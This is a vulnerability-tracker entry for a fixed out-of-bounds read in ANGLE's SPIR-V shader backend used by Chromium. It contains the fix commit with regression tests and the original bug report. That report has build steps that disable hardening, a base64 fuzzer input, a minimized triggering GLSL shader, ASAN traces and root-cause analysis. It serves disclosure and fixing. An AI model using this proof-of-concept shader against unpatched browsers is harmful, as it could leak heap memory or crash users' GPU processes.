Overview

Medium
Severity
β€”
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in GPU
DescriptionOut of bounds read in GPU
ComponentGPU
Bug ClassOOB
Tracker488064108
Fix commit86d64be7672e (angle/angle) +72/-6
CISA KEVNot listed
CreditedDavid Korczynski (Adalogics)
Disclosed2026-05-19

Changed Functions

FunctionChangeNotes
switch
src/tests/gl_tests/GLSLTest.cpp
modified

Files Changed

  • src/compiler/translator/ParseContext.cpp
  • src/compiler/translator/tree_ops/PruneEmptyCases.cpp
  • src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
  • src/tests/gl_tests/GLSLTest.cpp
From 86d64be7672eefa53eb10e2241e4bb0fbb3ba323 Mon Sep 17 00:00:00 2001
From: Shahbaz Youssefi <[email protected]>
Date: Mon, 23 Mar 2026 13:38:34 -0400
Subject: [PATCH] Translator: Fix codegen of switch with empty last case

... which is not actually allowed, except may be introduced to the AST
by transformations that remove dead code.  The parser in this change
makes sure the switch ends in some branch just in case.

To pass the unit tests, PruneEmptyCases is improved to consider cases
whose only code is "break" as empty.

Bug: angleproject:488064108
Change-Id: I728ee897b82a9a15d4c778839480969f3f743ace
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7694532
Reviewed-by: Geoff Lang <[email protected]>
Commit-Queue: Shahbaz Youssefi <[email protected]>
---

diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp
index da092c4b..139eb45 100644
--- a/src/compiler/translator/ParseContext.cpp
+++ b/src/compiler/translator/ParseContext.cpp
@@ -8328,6 +8328,19 @@
         return nullptr;
     }
 
+    // In case the last statement isn't already a branch, add |break| automatically.  Some AST
+    // transformations may dead-code-eliminate the contents of the last |case| and leave the switch
+    // statements ending in a case (which is what the check above forbids).  Most generators do not
+    // handle this unexpected situation.
+    //
+    // Note that a branch may be present inside a nested block, but that's ok, the extra branch
+    // added here gets eliminated in |PruneNoOps|.
+    if (statementCount > 0 &&
+        statementList->getChildNode(statementCount - 1)->getAsBranchNode() == nullptr)
+    {
+        statementList->appendStatement(new TIntermBranch(EOpBreak, nullptr));
+    }
+
     mIRBuilder.endSwitch();
 
     markStaticUseIfSymbol(init);
diff --git a/src/compiler/translator/tree_ops/PruneEmptyCases.cpp b/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
index 276c8c9..374438c 100644
--- a/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
+++ b/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
@@ -79,10 +79,18 @@
     // blocks are marked for pruning.
     size_t i                       = statements->size();
     size_t lastNoOpInStatementList = i;
+
     while (i > 0)
     {
         --i;
         TIntermNode *statement = statements->at(i);
+
+        // Ignore the last |break| for the purposes of this pruning
+        if (i + 1 == statements->size() && statement->getAsBranchNode() != nullptr &&
+            statement->getAsBranchNode()->getFlowOp() == EOpBreak)
+        {
+            continue;
+        }
         if (statement->getAsCaseNode() || IsEmptyBlock(statement))
         {
             lastNoOpInStatementList = i;
@@ -111,7 +119,24 @@
     }
     if (lastNoOpInStatementList < statements->size())
     {
-        statements->erase(statements->begin() + lastNoOpInStatementList, statements->end());
+        // The extra cases can only be removed if there is no |default|, otherwise dropping them
+        // changes the cases that land in |default|.
+        bool hasDefault = false;
+        for (i = 0; i < lastNoOpInStatementList; ++i)
+        {
+            TIntermNode *statement = statements->at(i);
+            if (statement->getAsCaseNode() != nullptr &&
+                !statement->getAsCaseNode()->hasCondition())
+            {
+                hasDefault = true;
+                break;
+            }
+        }
+
+        if (!hasDefault)
+        {
+            statements->erase(statements->begin() + lastNoOpInStatementList, statements->end());
+        }
     }
 
     return true;
diff --git a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
index 910ccc5..a976514 100644
--- a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
+++ b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
@@ -143,9 +143,10 @@
         "    }\n"
         "}\n";
     compile(shaderString);
-    ASSERT_TRUE(foundInCode("default"));
-    ASSERT_TRUE(foundInCode("case"));
+    ASSERT_TRUE(notFoundInCode("default"));
+    ASSERT_TRUE(notFoundInCode("case"));
     ASSERT_TRUE(notFoundInCode("42"));
+    ASSERT_TRUE(notFoundInCode("switch"));
 }
 
 // Test that the pruning correctly handles the pruning inside switch statements - pruning isn't
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index ee07276..25b3ee9 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -22504,9 +22504,6 @@
 // it is no-op.
 TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch)
 {
-    // Incorrect translation before IR.
-    ANGLE_SKIP_TEST_IF(!getEGLWindow()->isFeatureEnabled(Feature::UseIr));
-
     constexpr char kFS[] = R"(#version 300 es
 uniform int ui;
 out mediump vec4 color;
@@ -22534,6 +22531,36 @@
     ASSERT_GL_NO_ERROR();
 }
 
+// Regression test for codegen errors when the last case of a switch is dead-code-eliminated.
+TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch2)
+{
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+uniform int a, b;
+out vec4 color;
+void main() {
+    float r = 0.25;
+    switch(a) {
+        case 0:
+            switch(b) {
+                default:
+                    r = 0.75;
+                case 0:
+                    switch(b) { }
+            }
+            break;
+        default:
+            r = 0.5;
+    }
+    color = vec4(r, 0, 0, 1);
+})";
+
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
+    drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_NEAR(0, 0, GLColor(63, 0, 0, 255), 1);
+    ASSERT_GL_NO_ERROR();
+}
+
 // Test that if the uniform struct specifier is referenced by non-uniform variables, the
 // sortUniforms() step does not reorder the uniform struct specifier and place it after where it is
 // referenced.
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
index 910ccc5..a976514 100644
--- a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
+++ b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
@@ -143,9 +143,10 @@
         "    }\n"
         "}\n";
     compile(shaderString);
-    ASSERT_TRUE(foundInCode("default"));
-    ASSERT_TRUE(foundInCode("case"));
+    ASSERT_TRUE(notFoundInCode("default"));
+    ASSERT_TRUE(notFoundInCode("case"));
     ASSERT_TRUE(notFoundInCode("42"));
+    ASSERT_TRUE(notFoundInCode("switch"));
 }
 
 // Test that the pruning correctly handles the pruning inside switch statements - pruning isn't
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index ee07276..25b3ee9 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -22504,9 +22504,6 @@
 // it is no-op.
 TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch)
 {
-    // Incorrect translation before IR.
-    ANGLE_SKIP_TEST_IF(!getEGLWindow()->isFeatureEnabled(Feature::UseIr));
-
     constexpr char kFS[] = R"(#version 300 es
 uniform int ui;
 out mediump vec4 color;
@@ -22534,6 +22531,36 @@
     ASSERT_GL_NO_ERROR();
 }
 
+// Regression test for codegen errors when the last case of a switch is dead-code-eliminated.
+TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch2)
+{
+    constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+uniform int a, b;
+out vec4 color;
+void main() {
+    float r = 0.25;
+    switch(a) {
+        case 0:
+            switch(b) {
+                default:
+                    r = 0.75;
+                case 0:
+                    switch(b) { }
+            }
+            break;
+        default:
+            r = 0.5;
+    }
+    color = vec4(r, 0, 0, 1);
+})";
+
+    ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
+    drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
+    EXPECT_PIXEL_COLOR_NEAR(0, 0, GLColor(63, 0, 0, 255), 1);
+    ASSERT_GL_NO_ERROR();
+}
+
 // Test that if the uniform struct specifier is referenced by non-uniform variables, the
 // sortUniforms() step does not reorder the uniform struct specifier and place it after where it is
 // referenced.
Loading diff…

Original Bug Report

reported by [email protected]

Chromium: ANGLE SPIRV Backend: Heap-Buffer-Overflow in writeSwitchCaseBlockEnd


Report description

Chromium: ANGLE SPIRV Backend: Heap-Buffer-Overflow in writeSwitchCaseBlockEnd


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

Chromium/Angle


The problem

Please describe the technical details of the vulnerability

A heap-buffer-overflow (READ of 4 bytes) exists in ANGLE’s SPIR-V code generation backend when compiling GLSL shaders containing nested switch statements where the innermost switch has an empty body. The blockIds vector is undersized because the block-count calculation does not account for the empty switch case, and a subsequent access reads 4 bytes past the end of the heap allocation.

To reproduce this with ASAN we should disable libc++ hardening. This issue is mitigated by libc++ hardening within Chromium builds, but it does not appear that this protection is guaranteed across all supported ANGLE configurations (similar to other vulns https://issues.chromium.org/issues/435139154)

Step 1: Disable libc++ hardening

Edit build_overrides/build.gni and change enable_safe_libcxx = true to:

enable_safe_libcxx = false

This is needed so ASAN reports the heap-buffer-overflow directly. With hardening enabled, libc++ catches the vector OOB first (producing a __libcpp_verbose_abort crash instead of an ASAN report), confirming the bug either way.

Step 2: Configure the build

gn gen out/fuzz --args='use_libfuzzer=true is_asan=true is_debug=false dcheck_always_on=false v8_enable_sandbox=false'

Note: v8_enable_sandbox=false is required because V8’s sandbox requires libc++ hardening.

Step 3: Build the fuzzer

autoninja -C out/fuzz angle_translator_fuzzer

Step 4: Create the crash reproducer

base64 -d > crash.bin << 'BINEOF'
MIsAAAIAAAAPAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAjdmVyc2lvbiAzMDAgZXMKcHJlY2lzaW9uIG1lZGl1bXAgZmxvYXQ7CnVu
aWZvcm0gaW50IGEsIGI7Cm91dCB2ZWM0IGY7CnZvaWQgbWFpbigpIHsKICAgIGZsb2F0IHIgPSAw
LjA7CiAgICBzd2l0Y2goYSkgewogICAgICAgIGNhc2UgMDoKICAgICAgICAgICAgc3dpdGNoKGIp
IHsKICAgICAgICAgICAgICAgIGNhc2UgMDoKICAgICAgICAgICAgICAgICAgICBzd2l0Y2goYikg
eyB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAg
ICAgICAgICAgciA9IDYuMDsKICAgIH0KICAgIGYgPSB2ZWM0KHIpOwp9AA==
BINEOF

Step 5: Reproduce

ASAN_OPTIONS="detect_leaks=0" ./out/fuzz/angle_translator_fuzzer crash.bin
...
=================================================================                                                                                                                                                                                                                                                       
==9804==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x71a5ebfe2974 at pc 0x5f86f6e310db bp 0x7ffcaf394670 sp 0x7ffcaf394668                                                                                                                                                                                
READ of size 4 at 0x71a5ebfe2974 thread T0                                                                                                                                                                                                                                                                              
    #0 0x5f86f6e310da in sh::SPIRVBuilder::writeSwitchCaseBlockEnd() third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:2303:47                                                                                                                                                                             
    #1 0x5f86f6dd5854 in sh::(anonymous namespace)::OutputSPIRVTraverser::visitSwitch(sh::Visit, sh::TIntermSwitch*) third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:5716:14                                                                                                                            
    #2 0x5f86f6c4ac0a in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:54:19                                                                                                                                            
    #3 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #4 0x5f86f6c4aa9b in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:43:45                                                                                                                                            
    #5 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #6 0x5f86f6c4f0bd in sh::TIntermTraverser::traverseFunctionDefinition(sh::TIntermFunctionDefinition*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9                                                                                                                                  
    #7 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #8 0x5f86f6dcd438 in sh::OutputSPIRV(sh::TCompiler*, sh::TIntermBlock*, ShCompileOptions const&, absl::flat_hash_map<int, unsigned int, absl::hash_internal::Hash<int>, std::__Cr::equal_to<int>, std::__Cr::allocator<std::__Cr::pair<int const, unsigned int>>> const&, unsigned int) third_party/angle/src/compil
er/translator/spirv/OutputSPIRV.cpp:6764:11                                                                                                                                                                                                                                                                             
    #9 0x5f86f6dae922 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1179:12                                                                                                            
    #10 0x5f86f6a7cd4c in sh::TCompiler::compile(angle::Span<char const* const, 18446744073709551615ul, char const* const*>, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1344:18                                                                                                    
    #11 0x5f86f68eff14 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:274:17                                                                                                                                                                                                       
    #12 0x5f86f6934e96 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13                                                                                                                                                                          
    #13 0x5f86f6902bfc in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6                                                                                                                                                                              
    #14 0x5f86f690c920 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9                                                                                                                                                            
    #15 0x5f86f68f3675 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10                                                                                                                                                                                                                                           
    #16 0x7585ecc29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                        
0x71a5ebfe2974 is located 0 bytes after 4-byte region [0x71a5ebfe2970,0x71a5ebfe2974)                                                                                                                                                                                                                                   
allocated by thread T0 here:                                                                                                                                                                                                                                                                                            
    #0 0x5f86f68eda2d in operator new(unsigned long) (/home/dav/angle-analysis/src/out/fuzz_nohard/angle_translator_fuzzer+0x6f0a2d) (BuildId: 8acc648700b6887c)                                                                                                                                                        
    #1 0x5f86f6e29b7f in std::__Cr::vector<angle::spirv::BoxedUint32<angle::spirv::IdRefHelper>, std::__Cr::allocator<angle::spirv::BoxedUint32<angle::spirv::IdRefHelper>>>::resize(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:43:28                                                           
    #2 0x5f86f6e2d4d2 in sh::SPIRVBuilder::startConditional(unsigned long, bool, bool) third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:1926:26                                                                                                                                                           
    #3 0x5f86f6dd59c5 in sh::(anonymous namespace)::OutputSPIRVTraverser::visitSwitch(sh::Visit, sh::TIntermSwitch*) third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:5687:18                                                                                                                            
    #4 0x5f86f6c4ab4c in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:48:31                                                                                                                                            
    #5 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #6 0x5f86f6c4aa9b in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:43:45                                                                                                                                            
    #7 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #8 0x5f86f6c4f0bd in sh::TIntermTraverser::traverseFunctionDefinition(sh::TIntermFunctionDefinition*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9                                                                                                                                  
    #9 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24                                                                                                                                                           
    #10 0x5f86f6dcd438 in sh::OutputSPIRV(sh::TCompiler*, sh::TIntermBlock*, ShCompileOptions const&, absl::flat_hash_map<int, unsigned int, absl::hash_internal::Hash<int>, std::__Cr::equal_to<int>, std::__Cr::allocator<std::__Cr::pair<int const, unsigned int>>> const&, unsigned int) third_party/angle/src/compi
ler/translator/spirv/OutputSPIRV.cpp:6764:11                                                                                                                                                                                                                                                                            
    #11 0x5f86f6dae922 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1179:12                                                                                                           
    #12 0x5f86f6a7cd4c in sh::TCompiler::compile(angle::Span<char const* const, 18446744073709551615ul, char const* const*>, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1344:18                                                                                                    
    #13 0x5f86f68eff14 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:274:17                                                                                                                                                                                                       
    #14 0x5f86f6934e96 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13                                                                                                                                                                          
    #15 0x5f86f6902bfc in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6                                                                                                                                                                              
    #16 0x5f86f690c920 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9                                                                                                                                                            
    #17 0x5f86f68f3675 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10                                                                                                                                                                                                                                           
    #18 0x7585ecc29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16                                                                                                                                                                                                                       
                                                                                                                                                                                                                                                                                                                        
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:2303:47 in sh::SPIRVBuilder::writeSwitchCaseBlockEnd()                                                                                                                                                   
Shadow bytes around the buggy address:                                                                                                                      

With default libc++ hardening enabled (without enable_safe_libcxx=false), the same input produces:

gen/third_party/libc++/src/include/__vector/vector.h:416: libc++ Hardening assertion __n < size() failed: vector[] index out of bounds
==PID== ERROR: libFuzzer: deadly signal
SUMMARY: libFuzzer: deadly signal

Semantics of PoC

Minimized shader (218 bytes):

#version 300 es
precision mediump float;
uniform int a, b;
out vec4 f;
void main() {
    float r = 0.0;
    switch(a) {
        case 0:
            switch(b) {
                case 0:
                    switch(b) { }
            }
            break;
        default:
            r = 6.0;
    }
    f = vec4(r);
}

The minimal trigger requires exactly 3 levels of nested switch statements where the innermost switch has an empty body (no case labels, no statements). The outer two switches must have at least one case label each. Targeting the SPIRV backend (output=15) with objectCode=1 is required to reach the code generation stage.

Root Cause Analysis

Overview

The vulnerability is a vector undersizing bug in the SPIRV backend’s switch statement code generation. Three components interact:

  1. Incorrect block count for empty switch bodies
  2. Vector allocation based on that count
  3. Unconditional OOB access when writing the switch’s merge block

Detailed Walkthrough

Step 1: Block Count Calculation (OutputSPIRV.cpp:5629-5686)

When visitSwitch processes the InVisit phase, it scans the switch body’s statement list to determine how many SPIR-V basic blocks are needed:

// OutputSPIRV.cpp:5630-5686
const TIntermSequence &statements = *node->getStatementList()->getSequence();
bool lastWasCase  = true;
size_t blockIndex = 0;

for (TIntermNode *statement : statements)
{
    TIntermCase *caseLabel = statement->getAsCaseNode();
    const bool isCaseLabel = caseLabel != nullptr;

    if (isCaseLabel)
    {
        // Record case/default block mapping
        lastWasCase = true;
    }
    else if (lastWasCase)
    {
        ++blockIndex;         // New block when non-case follows case
        lastWasCase = false;
    }
}

const size_t blockCount = blockIndex + 1;   // +1 for merge block
mBuilder.startConditional(blockCount, false, true);

For an empty switch body (no statements at all):

  • The loop body never executes
  • blockIndex remains 0
  • blockCount = 0 + 1 = 1 (only the merge block)

Step 2: Vector Allocation (BuildSPIRV.cpp:1920-1937)

startConditional(1) allocates a blockIds vector with exactly 1 element:

// BuildSPIRV.cpp:1920-1937
void SPIRVBuilder::startConditional(size_t blockCount, bool isContinuable, bool isBreakable)
{
    mConditionalStack.emplace_back();
    SpirvConditional &conditional = mConditionalStack.back();

    conditional.blockIds.resize(blockCount);  // resize(1) β†’ one element at index 0
    for (spirv::IdRef &blockId : conditional.blockIds)
        blockId = getNewId({});
    // ...
}

Step 3: First Block Consumed (BuildSPIRV.cpp:2275-2293)

writeSwitch() calls nextConditionalBlock(), which consumes blockIds[0] and increments nextBlockToWrite to 1:

// BuildSPIRV.cpp:2289-2292
void SPIRVBuilder::writeSwitch(...)
{
    // ... write OpSelectionMerge, OpSwitch ...
    terminateCurrentFunctionBlock();
    nextConditionalBlock();  // nextBlockToWrite: 0 β†’ 1
}

After this call: nextBlockToWrite = 1, blockIds.size() = 1.

Step 4: The OOB Access (BuildSPIRV.cpp:2295-2311)

During PostVisit of the innermost switch, visitSwitch calls writeSwitchCaseBlockEnd():

// BuildSPIRV.cpp:2295-2311
void SPIRVBuilder::writeSwitchCaseBlockEnd()
{
    if (!isCurrentFunctionBlockTerminated())
    {
        const SpirvConditional *conditional = getCurrentConditional();
        const spirv::IdRef nextBlock =
            conditional->blockIds[conditional->nextBlockToWrite];
        //                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        //  nextBlockToWrite = 1, blockIds.size() = 1
        //  β†’ READS 4 BYTES PAST END OF VECTOR ALLOCATION

        spirv::WriteBranch(getSpirvCurrentFunctionBlock(), nextBlock);
        terminateCurrentFunctionBlock();
    }
    nextConditionalBlock();
}

blockIds[1] accesses memory 0 bytes after the end of a 4-byte heap region, as confirmed by ASAN: "0x... is located 0 bytes after 4-byte region".

Data Flow Diagram

visitSwitch(InVisit, innermost empty switch)
  β”‚
  β”œβ”€ Scan statements β†’ loop never executes β†’ blockIndex = 0
  β”œβ”€ blockCount = 0 + 1 = 1
  β”œβ”€ startConditional(1) β†’ blockIds = [id0]  (size=1)
  β”œβ”€ writeSwitch() β†’ nextConditionalBlock() β†’ nextBlockToWrite = 1
  β”‚
visitSwitch(PostVisit, innermost empty switch)
  β”‚
  β”œβ”€ writeSwitchCaseBlockEnd()
  β”‚   β”œβ”€ !isCurrentFunctionBlockTerminated() β†’ true
  β”‚   β”œβ”€ blockIds[nextBlockToWrite] = blockIds[1]
  β”‚   └─ *** HEAP-BUFFER-OVERFLOW: size=1, index=1 ***

Versions vulnerable

Chromium commits where reproduced:

  • Chromium f8e584480508dfdc9f4ed0fbd7c6a1f509c4cc21 (2026-02-26) with ANGLE 81d957ba β€” crash confirmed via ASAN

Latest Chromium tip (verified vulnerable via source inspection):

  • Chromium f10551c61d2bfc1525ba395bbf50b0ab862e736f (2026-02-26, same Chrome 147.0.7707.0) with ANGLE b17ee0e7 β€” the vulnerable line blockCount = blockIndex + 1 at OutputSPIRV.cpp:5686 is identical

Latest ANGLE main tip (verified vulnerable):

  • ANGLE 3c48b5f1e95ee82d6cabb10c7592dee0be542808 (2026-02-25) β€” same vulnerable code confirmed

Introducing commit:

  • ANGLE dc59772e2a76 (2021-06-22) β€” “Vulkan: SPIR-V Gen: Support switch” by Shahbaz Youssefi. The block-count formula has never been modified since.

Impact analysis

Classification: Heap-buffer-overflow READ of 4 bytes

Attack surface: The ANGLE shader compiler processes untrusted GLSL/ESSL shader source in Chromium’s GPU process (via WebGL / WebGPU). A malicious web page can supply arbitrary shader source that reaches this code path through the SPIRV backend.

Exploitability: Low to Medium.

  • The OOB read is exactly 4 bytes past the end of a small (4-byte) heap allocation. The read value is used as a SPIR-V block ID (spirv::IdRef) passed to WriteBranch(), which writes it into the SPIR-V output buffer. This means the 4 bytes of heap data leaked via the OOB read end up in the generated SPIR-V binary.
  • The read is deterministic (always reads exactly 4 bytes at offset +0 from the allocation end), making it reliably triggerable but limited in what memory it can access.

The cause

What version of Chrome have you found the security issue in?

145.0.7632.75, also at HEAD

No, it is not related to a crash.

Choose the type of vulnerability

Memory Corruption

How would you like to be publicly acknowledged for your report?

David Korczynski ([email protected])

View on issue tracker